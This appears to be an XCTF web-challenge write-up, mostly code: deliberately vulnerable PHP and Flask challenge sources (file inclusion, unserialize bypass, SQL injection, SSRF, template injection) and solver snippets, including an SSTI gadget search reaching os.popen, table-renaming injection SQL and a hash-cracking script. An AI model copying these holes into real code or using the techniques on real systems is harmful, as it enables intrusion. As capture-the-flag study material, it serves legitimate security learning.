XCTF攻防世界 WriteUp(Web)

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<?php
show_source(__FILE__);
echo $_GET['hello'];
$page=$_GET['page'];
while (strstr($page, "php://")) {
    $page=str_replace("php://", "", $page);
}
include($page);
?>

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<?php
    highlight_file(__FILE__);
    class emmm
    {
        public static function checkFile(&$page)
        {
            $whitelist = ["source"=>"source.php","hint"=>"hint.php"];
            if (! isset($page) || !is_string($page)) {
                echo "you can't see it";
                return false;
            }

            if (in_array($page, $whitelist)) {
                return true;
            }

            $_page = mb_substr(
                $page,
                0,
                mb_strpos($page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }

            $_page = urldecode($page);
            $_page = mb_substr(
                $_page,
                0,
                mb_strpos($_page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }
            echo "you can't see it";
            return false;
        }
    }

    if (! empty($_REQUEST['file'])
        && is_string($_REQUEST['file'])
        && emmm::checkFile($_REQUEST['file'])
    ) {
        include $_REQUEST['file'];
        exit;
    } else {
        echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
    }  
?>

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<script>
    _='function $(){e=getEleById("c").value;length==16^be0f23
233ac
e98aa$
c7be9){tfls_aie}na_h0lnrg{e_0iit\'_ns=[t,n,r,i];for(o=0;o<13;++o){	[0]);.splice(0,1)}}}	\'<input id="c">< onclick=$()>Ok</>\');delete _
var ","docu.)match(/"];/)!=null=["	write(s[o%4]buttonif(e.ment';
    for(Y in $='	
')
        with(_.split($[Y]))_=join(pop());
    eval(_)
</script>

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function $() {
	var e = document.getElementById("c").value;
    if (e.length == 16)
        if (e.match(/^be0f23/) != null)
            if (e.match(/233ac/) != null)
                if (e.match(/e98aa$/) != null)
                    if (e.match(/c7be9/) != null) {
                        var t = ["fl", "s_a", "i", "e}"];
                        var n = ["a", "_h0l", "n"];
                        var r = ["g{", "e", "_0"];
                        var i = ["it'", "_", "n"];
                        var s = [t, n, r, i];
                        for (var o = 0; o < 13; ++o) {
                            document.write(s[o % 4][0]);
                            s[o % 4].splice(0, 1)
                        }
                    }
}
document.write('<input id="c"><button onclick=$()>Ok</button>');
delete _

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<?php
if("admin"===$_GET[id]) {
  echo("<p>not allowed!</p>");
  exit();
}

$_GET[id] = urldecode($_GET[id]);
if($_GET[id] == "admin")
{
  echo "<p>Access granted!</p>";
  echo "<p>Key: xxxxxxx </p>";
}
?>

Can you anthenticate to this website?

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from flask import *
cnt = 0
for i in [].__class__.__base__.__subclasses__():
    try:
        if 'os' in i.__init__.__globals__:
            print(cnt,i)
    except:
        pass
    cnt += 1
# print([].__class__.__base__.__subclasses__()[452].__init__.__globals__['os'].popen("ver").read())

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<?php 
class Demo { 
    private $file = 'index.php';
    public function __construct($file) { 
        $this->file = $file; 
    }
    function __destruct() { 
        echo @highlight_file($this->file, true); 
    }
    function __wakeup() { 
        if ($this->file != 'index.php') { 
            //the secret is in the fl4g.php
            $this->file = 'index.php'; 
        } 
    } 
}
if (isset($_GET['var'])) { 
    $var = base64_decode($_GET['var']); 
    if (preg_match('/[oc]:\d+:/i', $var)) { 
        die('stop hacking!'); 
    } else {
        @unserialize($var); 
    } 
} else { 
    highlight_file("index.php"); 
} 
?>

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alter table `1919810931114514` change `flag` `id` varchar(100);
alter table `words` rename to `words1`;
alter table `1919810931114514` rename to `words`;

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/flag.txt
flag in /fllllllllllllag
/welcome.txt
render
/hints.txt
md5(cookie_secret+md5(filename))

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<?php
echo md5('69cd0335-5640-41b3-b594-1c7a4d1cd380'.md5('/fllllllllllllag'));
// Result: 361e9154ca34a280ef2d0b28ff5d2319
?>

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function buy($req){
	require_registered();
	require_min_money(2);

	$money = $_SESSION['money'];
	$numbers = $req['numbers'];
	$win_numbers = random_win_nums();
	$same_count = 0;
	for($i=0; $i<7; $i++){
		if($numbers[$i] == $win_numbers[$i]){
			$same_count++;
		}
	}
	switch ($same_count) {
		case 2:
			$prize = 5;
			break;
		case 3:
			$prize = 20;
			break;
		case 4:
			$prize = 300;
			break;
		case 5:
			$prize = 1800;
			break;
		case 6:
			$prize = 200000;
			break;
		case 7:
			$prize = 5000000;
			break;
		default:
			$prize = 0;
			break;
	}
	$money += $prize - 2;
	$_SESSION['money'] = $money;
	response(['status'=>'ok','numbers'=>$numbers, 'win_numbers'=>$win_numbers, 'money'=>$money, 'prize'=>$prize]);
}

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<?php
$miwen="a1zLbgQsCESEIqRLwuQAyMwLyq2L5VwBxqGA3RQAyumZ0tmMvSGM2ZwB4tws";

function encode($str){
    $_o=strrev($str);
    // echo $_o;
        
    for($_0=0;$_0<strlen($_o);$_0++){
       
        $_c=substr($_o,$_0,1);
        $__=ord($_c)+1;
        $_c=chr($__);
        $_=$_.$_c;   
    } 
    return str_rot13(strrev(base64_encode($_)));
}

highlight_file(__FILE__);
/*
   逆向加密算法，解密$miwen就是flag
*/
?>

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<?php
$miwen="a1zLbgQsCESEIqRLwuQAyMwLyq2L5VwBxqGA3RQAyumZ0tmMvSGM2ZwB4tws";

function decode($str){
    $str1 = base64_decode(strrev(str_rot13($str)));
    for ($i = 0;$i < strlen($str1);$i++){
        $str2 .= chr(ord($str1[$i]) - 1);
    }
    return strrev($str2);
}

echo decode($miwen);
?>

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import flask
import os

app = flask.Flask(__name__)

app.config['FLAG'] = os.environ.pop('FLAG')


@app.route('/')
def index():
    return open(__file__).read()


@app.route('/shrine/<path:shrine>')
def shrine(shrine):

    def safe_jinja(s):
        s = s.replace('(', '').replace(')', '')
        blacklist = ['config', 'self']
        return ''.join(['{ {% set {}=None %} }'.format(c) for c in blacklist]) + s

    return flask.render_template_string(safe_jinja(shrine))


if __name__ == '__main__':
    app.run(debug=True)

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<?php


class UserInfo
{
    public $name = "";
    public $age = 0;
    public $blog = "";

    public function __construct($name, $age, $blog)
    {
        $this->name = $name;
        $this->age = (int)$age;
        $this->blog = $blog;
    }

    function get($url)
    {
        $ch = curl_init();

        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        $output = curl_exec($ch);
        $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
        if($httpCode == 404) {
            return 404;
        }
        curl_close($ch);

        return $output;
    }

    public function getBlogContents ()
    {
        return $this->get($this->blog);
    }

    public function isValidBlog ()
    {
        $blog = $this->blog;
        return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog);
    }

}

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<?php
if(isset($_POST['usr']) && isset($_POST['pw'])){
        $user = $_POST['usr'];
        $pass = $_POST['pw'];
        $db = new SQLite3('../fancy.db');   
        $res = $db->query("SELECT id,name from Users where name='".$user."' and password='".sha1($pass."Salz!")."'");
    if($res){
        $row = $res->fetchArray();
    }
    else{
        echo "<br>Some Error occourred!";
    }
    if(isset($row['id'])){
            setcookie('name',' '.$row['name'], time() + 60, '/');
            header("Location: /");
            die();
    }
}

if(isset($_GET['debug']))
highlight_file('login.php');
?>

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CREATE TABLE sqlite_master ( 
    type TEXT, 
    name TEXT, 
    tbl_name TEXT, 
    rootpage INTEGER, 
    sql TEXT 
); 

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# Python2
from cStringIO import StringIO
from pdfminer.pdfinterp import PDFResourceManager, PDFPageInterpreter
from pdfminer.converter import TextConverter
from pdfminer.layout import LAParams
from pdfminer.pdfpage import PDFPage
import sys
import string
import os
import hashlib

def get_pdf():
    return [i for i in os.listdir("./") if i.endswith("pdf")]

def convert_pdf_2_text(path):
    rsrcmgr = PDFResourceManager()
    retstr = StringIO()
    device = TextConverter(rsrcmgr, retstr, codec='utf-8', laparams=LAParams())
    interpreter = PDFPageInterpreter(rsrcmgr, device)
    with open(path, 'rb') as fp:
        for page in PDFPage.get_pages(fp, set()):
            interpreter.process_page(page)
        text = retstr.getvalue()
    device.close()
    retstr.close()
    return text

def find_password():
    pdf_path = get_pdf()
    for i in pdf_path:
        print "Searching word in " + i
        pdf_text = convert_pdf_2_text(i).split(" ")
        for word in pdf_text:
            sha1_password = hashlib.sha1(word+"Salz!").hexdigest()
            if sha1_password == '3fab54a50e770d830c0416df817567662a9dc85c':
                print "Find the password :" + word
                exit()

if __name__ == "__main__":
    find_password()

    
# Python3
import os
import hashlib
import pdfplumber

def get_pdf():
    return [i for i in os.listdir() if i.endswith("pdf")]

def convert_pdf_2_text(filename):
    pdf = pdfplumber.open(filename)
    text = ""
    for page in pdf.pages:
        text += page.extract_text()
    pdf.close()
    return text

def find_password():
    pdf_path = get_pdf()
    for i in pdf_path:
        print("Searching word in " + i)
        pdf_text = convert_pdf_2_text(i).split(" ")
        for word in pdf_text:
            sha1_password = hashlib.sha1((word+"Salz!").encode("utf-8")).hexdigest()
            print("sha1(\""+word+"\"+\"Salz!\")="+sha1_password)
            if sha1_password == '3fab54a50e770d830c0416df817567662a9dc85c':
                print("Find the password :" + word)
                exit()
                
if __name__ == "__main__":
    find_password()